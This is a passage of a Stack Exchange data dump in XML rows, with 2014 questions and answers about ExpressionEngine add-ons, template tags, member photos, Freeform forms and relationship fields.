  <row Id="21840" PostTypeId="2" ParentId="21831" CreationDate="2014-05-10T09:25:34.817" Score="1" Body="&lt;p&gt;That code should work but you might want to use the &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/module/parents.html&quot; rel=&quot;nofollow&quot;&gt;var_prefix parameter&lt;/a&gt; to avoid variable name conflicts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, because Low Alphabet is a plugin and EE's quirky template parser, you'll need to add &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; to the opening low_alphabet:entries tag if you're using other tags inside it (as per &lt;a href=&quot;http://gotolow.com/addons/low-alphabet/docs/tags&quot; rel=&quot;nofollow&quot;&gt;the docs&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2014-05-14T07:42:15.383" LastActivityDate="2014-05-14T07:42:15.383" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21841" PostTypeId="2" ParentId="21808" CreationDate="2014-05-10T10:09:47.257" Score="1" Body="&lt;p&gt;No that's not possible out of the box. Gmap for EE will search your EE entries, not Google's listings. You'd have to write an extension to the Gmap module or ask ObjectiveHTML to do that implementation for you.&lt;/p&gt;&#xA;" OwnerUserId="1020" LastActivityDate="2014-05-10T10:09:47.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21842" PostTypeId="2" ParentId="11835" CreationDate="2014-05-10T10:45:57.537" Score="2" Body="&lt;p&gt;This sounds like something that Low Yearly Archive could be used for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-yearly-archive&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-yearly-archive&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-05-10T10:45:57.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21843" PostTypeId="1" CreationDate="2014-05-10T10:52:41.150" Score="0" ViewCount="232" Body="&lt;p&gt;Let me know any one in Freemember how to update member group when update profile from front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if not possible in freemember then let me help for any other way for update member group from front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;piyush&lt;/p&gt;&#xA;" OwnerUserId="3091" LastEditorUserId="55" LastEditDate="2014-06-10T21:39:06.363" LastActivityDate="2014-11-08T07:11:51.630" Title="How to change member group from front end with Freemember" Tags="|freemember|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21844" PostTypeId="1" CreationDate="2014-05-10T20:33:28.787" Score="1" ViewCount="127" Body="&lt;p&gt;Is there any way if we can block bad words from submitting forum thread. I checked with EE's native module &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/blacklist/&quot; rel=&quot;nofollow&quot;&gt;Blacklist/White&lt;/a&gt;&#xA;but seems it works if any blacklisted URL (or its part) is being submitted. Could anyone suggest me a solution.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2017-01-31T11:52:53.997" Title="Block bad words in Discussion Forum" Tags="|forum|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21845" PostTypeId="1" CreationDate="2014-05-11T00:46:12.993" Score="0" ViewCount="66" Body="&lt;p&gt;I just upgraded my ExpressionEngine to the latest version (2.8.1) along with the latest FieldPack (2.1.1). All my pages load fine, but when I try to click on an existing Custom Field within my ExpressionEngine Control Panel, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unable to load requested field type file: ft.rel.php.&#xA;Confirm the fieldtype file is located in the expressionengine/third_party/ directory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read that PT doesn't support it anymore, but I'm not using any fields that use FT's old field type anyways, so I'm not sure what's going on. I basically can't edit any existing custom field without getting the error message. Any idea what's going on? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3092" LastActivityDate="2014-05-11T08:11:02.800" Title="Error message when I try to edit custom fields" Tags="|pixelandtonic|field-pack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21846" PostTypeId="2" ParentId="21845" CreationDate="2014-05-11T08:11:02.800" Score="1" Body="&lt;p&gt;As far as I'm aware, P&amp;amp;T field pack isn't working under 2.8. Remove/uninstall the fields and you'll stop the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have channels that use these field types then you'll have to make other plans or roll back to 2.7.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe hit up P&amp;amp;T and see if they'll open source them so others may contribute/update the code.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-05-11T08:11:02.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21847" PostTypeId="2" ParentId="21606" CreationDate="2014-05-11T15:30:27.553" Score="1" Body="&lt;p&gt;After much frustration and searching around, I've finally tracked down the issue here. In between times I scheduled a support call with Cart Throb who were super helpful, so thank you to them for offering their input - it was their advice that set me off on the right track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end however, it was an IE specific issue related to &lt;a href=&quot;http://www.magictoolbox.com/magiczoomplus/&quot; rel=&quot;nofollow&quot;&gt;Magic Zoom&lt;/a&gt;, a Javascript image zoom feature we'd added to the site. Although this states full compatibility with IE6+, and we've successfully used this before without any issues, it was, believe it or not, the stylesheet provided with it that was causing the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the stylesheet were 3 references to &lt;code&gt;cursor&lt;/code&gt; linking to a &lt;code&gt;.cur&lt;/code&gt; file (also provided).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.MagicZoomPlus, .MagicZoomPlus:hover {&#xA;  display: inline-block;&#xA;  cursor: url(graphics/zoomin.cur), pointer;&#xA;  outline: 0 !important;&#xA;  font-size: 0 !important;&#xA;  line-height: 100% !important;&#xA;  direction: ltr;&#xA;  max-width: 100%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I eventually noticed the cursor wasn't appearing in IE compared to sensible browsers, and removed the &lt;code&gt;.cur&lt;/code&gt; references and &lt;em&gt;voila&lt;/em&gt;! Items added to the cart and all working as expected. I can't say exactly why this was causing the problem, but I'm happy enough to see it working again and just set the cursor value to &lt;code&gt;move&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for everyone's suggestions in the comments :-)&lt;/p&gt;&#xA;" OwnerUserId="1287" LastEditorUserId="1287" LastEditDate="2014-05-11T15:55:16.490" LastActivityDate="2014-05-11T15:55:16.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21848" PostTypeId="2" ParentId="20073" CreationDate="2014-05-11T20:54:58.597" Score="0" Body="&lt;p&gt;As @christiaan and Andrew have mentioned you shouldn't have a problem passing the category , on your select element you will need to add &lt;code&gt;name=&quot;categories[]&quot;&lt;/code&gt; to pass the user selected categories to the results template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated Search Template Below&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:search&#xA;    channel=&quot;property_sales&quot;&#xA;latitude_field=&quot;fs_latitude&quot;&#xA;longitude_field=&quot;fs_longitude&quot;&#xA;geocode_field=&quot;location&quot;&#xA;distance_field=&quot;distance_max&quot;&#xA;cache_post=&quot;false&quot;&#xA;return=&quot;/property/results/&quot;}&#xA;&#xA;&amp;lt;label for=&quot;location&quot;&amp;gt;Enter Postcode&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;&amp;lt;input name=&quot;location&quot; id=&quot;location&quot; class=&quot;form-control&quot; value=&quot;{if post:location}{post:location}{/if}&quot; type=&quot;text&quot;&amp;gt;&#xA;{if error:location}&amp;lt;p class=&quot;error&quot;&amp;gt;{error:location}&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;&amp;lt;label for=&quot;location&quot;&amp;gt;Distance from Postcode&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;&amp;lt;select name=&quot;distance_max&quot; class=&quot;form-control&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot; &amp;amp;#123;if=&quot;&quot; !distance_max=&quot;&quot; ||=&quot;&quot; distance_max=&quot;=&quot; &quot;&quot;}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;National&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;5&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 5}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;5 miles&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;10&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 10}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;10 miles&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;20&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 20}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;20 miles&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;50&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 50}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;50 miles&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;100&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 100}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;100 miles&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;&#xA;&amp;lt;label for=&quot;categories&quot;&amp;gt;Category of Property&amp;lt;/label&amp;gt;&#xA;  &amp;lt;select class=&quot;form-control&quot; name=&quot;categories[]&quot;&amp;gt;&#xA;{categories}&amp;lt;option&amp;gt;{category_name} - {category_url_title}&amp;lt;/option&amp;gt;{/categories}&#xA;  &amp;lt;/select&amp;gt;&#xA;&#xA;&amp;lt;button class=&quot;btn btn-primary btn form-control&quot; type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt; &#xA;{/exp:gmap:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then on the results page you need to add the proper category parameters to your opening results tag. &lt;a href=&quot;https://objectivehtml.com/google-maps/documentation/tag/results&quot; rel=&quot;nofollow&quot;&gt;Results Documentation&lt;/a&gt; the tags you might need to add are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;category_search_type=&quot;&quot; &lt;/li&gt;&#xA;&lt;li&gt;match_categories=&quot;&quot;&lt;/li&gt;&#xA;&lt;li&gt;match_categories_exact=&quot;&quot;&lt;/li&gt;&#xA;&lt;li&gt;match_category_operator=&quot;&quot; &lt;/li&gt;&#xA;&lt;li&gt;match_no_categories=&quot;&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-05-11T20:54:58.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21849" PostTypeId="2" ParentId="21843" CreationDate="2014-05-12T01:05:17.173" Score="0" Body="&lt;p&gt;As gar as I'm aware, only SA can alter the group a member belongs to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll keep an eye here to see if any answers prove me incorrect.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-05-12T01:05:17.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21850" PostTypeId="1" AcceptedAnswerId="21851" CreationDate="2014-05-12T01:48:21.700" Score="1" ViewCount="40" Body="&lt;p&gt;I'm simply trying to display member photos, but cannot get my custom member group photos to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span id=&quot;member-photo&quot;&amp;gt;&#xA;  &amp;lt;img src=&quot;{photo_url}&quot; alt=&quot;{username}&quot;&amp;gt;&#xA;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I do this outside of a tag entry pair, I get the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span id=&quot;member-photo&quot;&amp;gt;&#xA;  &amp;lt;img src=&quot;{photo_url}&quot; alt=&quot;adminname&quot;&amp;gt;&#xA;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I put this inside of a channel entry I get the proper:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span id=&quot;member-photo&quot;&amp;gt;&#xA;    &amp;lt;img alt=&quot;adminname&quot; src=&quot;http://local.domain.com/uploads/member/photos/photo_1.png&quot;&amp;gt;&#xA;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that when inside of the channel entry tag pair, it will show only the author of that entry's photo. How can I get this to show the logged in member's photo? &lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2014-05-12T01:53:51.720" Title="Member Photo only displays when inside channel tag pairs" Tags="|channel-entries|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21851" PostTypeId="2" ParentId="21850" CreationDate="2014-05-12T01:53:51.720" Score="1" Body="&lt;p&gt;The reason the images were not displaying is because they needed to be wrapped in EE's &lt;em&gt;custom profile data&lt;/em&gt; tag pairs. The following code is the fix:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:custom_profile_data}&#xA;    &amp;lt;span id=&quot;member-photo&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;{photo_url}&quot; alt=&quot;{username}&quot;&amp;gt;&#xA;    &amp;lt;/span&amp;gt;&#xA;{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2014-05-12T01:53:51.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21852" PostTypeId="1" CreationDate="2014-05-12T03:38:47.887" Score="0" ViewCount="59" Body="&lt;p&gt;Is it possible to use freeform like channel form to add events to calendar? My goal is to include in my freeform form to allow clients to request an appt on the calendar ?&lt;/p&gt;&#xA;" OwnerUserId="2524" LastActivityDate="2014-05-12T06:33:53.870" Title="Solspace freeform &amp; solspace calendar" Tags="|solspace-freeform|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21854" PostTypeId="1" CreationDate="2014-05-12T04:34:15.130" Score="0" ViewCount="90" Body="&lt;p&gt;how to get expression engine categories with different tag like child category and parent category using custom class in php.&lt;br&gt;&lt;br&gt;&#xA;like &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;{parent category} - should show all parent.&lt;br&gt;&#xA;{child category} - should show all child for any depth weather the parent are not passed from parameter.&lt;/pre&gt;&#xA;" OwnerUserId="3060" LastActivityDate="2016-06-08T17:17:40.840" Title="custom class example to get nested category in expression engine" Tags="|ee2|categories|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21855" PostTypeId="2" ParentId="21854" CreationDate="2014-05-12T04:49:56.407" Score="0" Body="&lt;p&gt;You haven't supplied much info, would this module be of benefit: &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/examples/example1&quot; rel=&quot;nofollow&quot;&gt;http://gwcode.com/add-ons/gwcode-categories/examples/example1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-05-12T04:49:56.407" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21856" PostTypeId="1" CreationDate="2014-05-12T05:39:38.093" Score="0" ViewCount="80" Body="&lt;p&gt;Using {field:grid_name} in Channel Form displays full grid with all fields.  But I was wondering if there's a way to display the Grid which is located within relationship?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{relationship_field}&#xA;        {field:grid_name}&#xA;{/relationship_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Something like that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Tim&lt;/p&gt;&#xA;" OwnerUserId="3093" LastEditorUserId="3093" LastEditDate="2014-05-12T05:59:25.287" LastActivityDate="2014-06-11T15:24:21.720" Title="Display Full/Editable Grid within Relationship in Channel Form?" Tags="|relationships|channel-form|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21858" PostTypeId="2" ParentId="21852" CreationDate="2014-05-12T06:33:53.870" Score="1" Body="&lt;p&gt;Solspace Calendar is &lt;strong&gt;not&lt;/strong&gt; a module that allows making &quot;reservations&quot; or &quot;appointments&quot;. It's a module that allows creating &lt;strong&gt;events&lt;/strong&gt; in a calendar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only form that allows creating &lt;strong&gt;events&lt;/strong&gt; from the front-end if Channel Forms. Freeform cannot create Calendar events.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-05-12T06:33:53.870" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21859" PostTypeId="1" AcceptedAnswerId="21862" CreationDate="2014-05-12T07:27:42.007" Score="1" ViewCount="161" Body="&lt;p&gt;I have a channel with 4 relationship fields and each entry can be related to one or two relationship fields. and I hide unnecessary fields using ENTRY TYPE(&lt;a href=&quot;http://devot-ee.com/add-ons/entry-type&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/entry-type&lt;/a&gt;) field type.&#xA;   In the template I am fetching the channel entries using fixed_order and based on entry-type  I am embedding a template with entry field values..all field values comes fine except relation fields and I am not able to understand why it directly show relationship field tags directly.&#xA;   My expression looks something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;home_page_blocks&quot;}&#xA;  {exp:channel:entries channel=&quot;pages&quot;}&#xA;    {select_left_blocks}{select_left_blocks:entry_id}|{/select_left_blocks}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;{exp:channel:entries channel=&quot;blocks&quot; dynamic=&quot;no&quot; parse=&quot;inward&quot; fixed_order=&quot;0|{exp:stash:get name='home_page_blocks'}&quot; }&#xA;{exp:switchee variable = &quot;{select_block_type}&quot;}&#xA;&#xA;{case value=&quot;news_article_block&quot;}&#xA;    {title} || {related_news_article}{related_news_article:entry_id}{/related_news_article}&#xA;{/case}&#xA;&#xA;{case value=&quot;case_article_block&quot;}&#xA;    {title} || {related_case_article}{related_case_article:entry_id}{/related_news_article}&#xA;{/case}&#xA;{/exp:switchee}     &#xA;{/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now this expression outputs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entry title one || {related_news_article}{related_news_article:entry_id}{/related_news_article}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I am not able to understand whats going wrong here,can anyone please help me out here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Nisar&lt;/p&gt;&#xA;" OwnerUserId="1210" LastEditorUserId="166" LastEditDate="2014-05-12T09:23:04.480" LastActivityDate="2014-05-12T10:18:25.673" Title="Issue with many relationship fields in a channel" Tags="|stash|relationships|related-entries|switchee|related|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21860" PostTypeId="2" ParentId="21830" CreationDate="2014-05-12T07:30:34.863" Score="0" Body="&lt;p&gt;Take backups is the 1st thing to remember.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Past that, I would look at using the original data and converting your safe_cracker field to a simple text input field (not textarea, make sure the field doesn't convert your data - select 'none' in the format section).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing this should write the safe_cracker data to your newly converted text input field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upgrade the CMS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When complete, select your text input field and set it to 'file' type. This should retain your file data and allow you to now use upload field type hopefully.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-05-12T07:30:34.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21861" PostTypeId="1" CreationDate="2014-05-12T09:28:32.647" Score="1" ViewCount="523" Body="&lt;p&gt;We have setup a freeform composer template that has a file upload field, this field is limited to JPEG and PNG filetype only. However we would like to validate the field inline (by default the user is taken to a new page that isn't very informative, just save invalid action).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically we want to use the default validation which works fine for required fields, we've tried the following but it doesn't seem to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$( &quot;#freeform_cv_upload0&quot; ).rules( &quot;add&quot;, {&#xA;      extension: &quot;jpeg|png&quot;,&#xA;      required: true,&#xA;      messages: {&#xA;        extension: &quot;JPEG or PNG only&quot;&#xA;      }&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also tried using standalone jquery validate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(function ($) {&#xA;    $('#request_form').validate({&#xA;        rules: {},&#xA;        messages: {},&#xA;        submitHandler: function () {&#xA;            return false&#xA;        }&#xA;    });&#xA;&#xA;    $( &quot;#freeform_cv_upload0&quot; ).rules( &quot;add&quot;, {&#xA;      extension: &quot;jpeg|png&quot;,&#xA;      required: true,&#xA;      messages: {&#xA;        extension: &quot;JPEG or PNG only&quot;&#xA;      }&#xA;    });&#xA;})&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works for the required fields, however won't work for the file extension (it still reverts to the ExpressionEngine default of showing the error on a standalone page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-05-12T09:28:32.647" Title="Freeform - validating file upload field by filetype" Tags="|solspace-freeform|jquery|validation|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21862" PostTypeId="2" ParentId="21859" CreationDate="2014-05-12T09:43:44.657" Score="1" Body="&lt;p&gt;Lets tidy this up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;home_page_blocks&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}//Trim removes whitespace&#xA;    {exp:channel:entries channel=&quot;pages&quot; backspace=&quot;1&quot;} // Remove last '|'&#xA;     {select_left_blocks}{select_left_blocks:entry_id}|{/select_left_blocks}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should now output a list like &quot;33|23|35&quot; - test, test, test your output of this list as if it's broken here, the rest will fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next you'll need to feed that to your other query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse}//Wrap this in a parse block so its processed after the set above&#xA;  {exp:channel:entries channel=&quot;blocks&quot; dynamic=&quot;no&quot; fixed_order=&quot;0|{exp:stash:get name='home_page_blocks'}&quot; }&#xA;  {exp:switchee variable = &quot;{select_block_type}&quot; parse=&quot;inward&quot;} //Parse inward lives here&#xA;&#xA;  {case value=&quot;news_article_block&quot;}&#xA;    {title} || {related_news_article}{related_news_article:entry_id}{/related_news_article}&#xA;  {/case}&#xA;&#xA;  {case value=&quot;case_article_block&quot;}&#xA;    {title} || {related_case_article}{related_case_article:entry_id}{/related_news_article}&#xA;  {/case}&#xA;  {/exp:switchee}     &#xA;{/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically we've trapped your info in the required format (white space plays havoc with pipe delimited lists). Added a few stash additional stash calls and wrapped the &quot;get&quot; function in a parse to ensure it runs after the set (EE parse order takes some thinking/reading).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all untested and based on my own experience - it may or may not work as is, my code may not be perfect – but the approach is solid. You'll have to experiment your way through it. OR sit tight, be slack and wait for someone else to solve it for you ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun, try some different tags and see what  results you get - think of it as learning!&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2014-05-12T10:18:25.673" LastActivityDate="2014-05-12T10:18:25.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21863" PostTypeId="1" CreationDate="2014-05-12T10:38:51.920" Score="2" ViewCount="97" Body="&lt;p&gt;I am running a site that uses the following EE 2.7.3, MSM 2.1.6, Better Workflow 1.6.4.2  and WYGWAM 3.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a page is edited in IE11, when I go to save the page from any tab apart from the 'Publish' tab. A number of rows of  &lt;code&gt;'&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;'&lt;/code&gt; are injected into the end of each wygwam field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something anybody has seen or fixed?&lt;/p&gt;&#xA;" OwnerUserId="3095" LastEditorUserId="28" LastEditDate="2014-06-03T16:38:20.683" LastActivityDate="2014-06-03T16:38:20.683" Title="WYGWAM and IE11 issues on Publish" Tags="|ee2|pixelandtonic|wygwam|better-workflow|internetexplorer|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21864" PostTypeId="1" CreationDate="2014-05-12T12:12:36.523" Score="0" ViewCount="73" Body="&lt;p&gt;I'm using a classic /products/category/subcategory/ url structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On parent category pages I'm displaying a list of subcategories. However, for categories without children I'd like to show entries in stead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how to best approach this?&lt;/p&gt;&#xA;" OwnerUserId="2003" LastActivityDate="2016-06-14T00:12:00.843" Title="listing entries on lowest category level only" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21865" PostTypeId="1" AcceptedAnswerId="21867" CreationDate="2014-05-12T13:25:00.410" Score="0" ViewCount="33" Body="&lt;p&gt;I am using Freeform pro with a EE site that sells classified goods. I have a form where the customer can email another customer/member. But id like to mask the email with sender and receiver something like gumtree or craigslist. Can someone suggest a method for this if its possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank,&#xA;Mario&lt;/p&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2014-05-12T14:25:58.483" Title="Email Masking FreeFrom pro" Tags="|solspace-freeform|email|email-contact-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21866" PostTypeId="1" AcceptedAnswerId="21971" CreationDate="2014-05-12T14:09:58.177" Score="0" ViewCount="41" Body="&lt;p&gt;So I was forwarded here by Solspace since this is apparently their &quot;paid&quot; support now for Freeform Pro users :P&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c&amp;amp;p of my questions I posed to them:&#xA;I recently ran across a project that requires me to make an order form. I'm currently using BrilliantRetail for the storefront, and then a special member groups gets to expedite things using an order form as apposed to going through a standard checkout process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this, somewhat, working with Freeform Pro and am hoping to get a little more help to finish things up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm doing now is populating the form with channel entries (really br_products, but it works the same). Each product has an qty option associated with it, which is simply a text field in the Freeform form. Now, I'm sort of getting the data I need, but not the details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have a field named qty, then each product produces a tag like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input id=&quot;qty&quot; type=&quot;number&quot; name=&quot;qty[]&quot; value=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the quantity gets passed along but I also needed the Title, SKU, and Price. So I added three hidden fields for this, and added this to my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input id=&quot;title&quot; type=&quot;hidden&quot; name=&quot;title[]&quot; value=&quot;{title}&quot; /&amp;gt;&#xA;&amp;lt;input id=&quot;sku&quot; type=&quot;hidden&quot; name=&quot;sku[]&quot; value=&quot;{sku}&quot; /&amp;gt;&#xA;&amp;lt;input id=&quot;price&quot; type=&quot;hidden&quot; name=&quot;price[]&quot; value=&quot;{price}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this also works, but I'm getting product info for products not ordered (because all the hidden fields are now filled in they all get returned, not what I want). What I need to do is only see the &quot;title&quot;, &quot;sku&quot;, and &quot;price&quot; for products that actually have &quot;qty&quot; filled in. This is my problem, I don't know how to do this??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea was using data-attributes for the &quot;qty&quot; input, so the data is attached to the product being 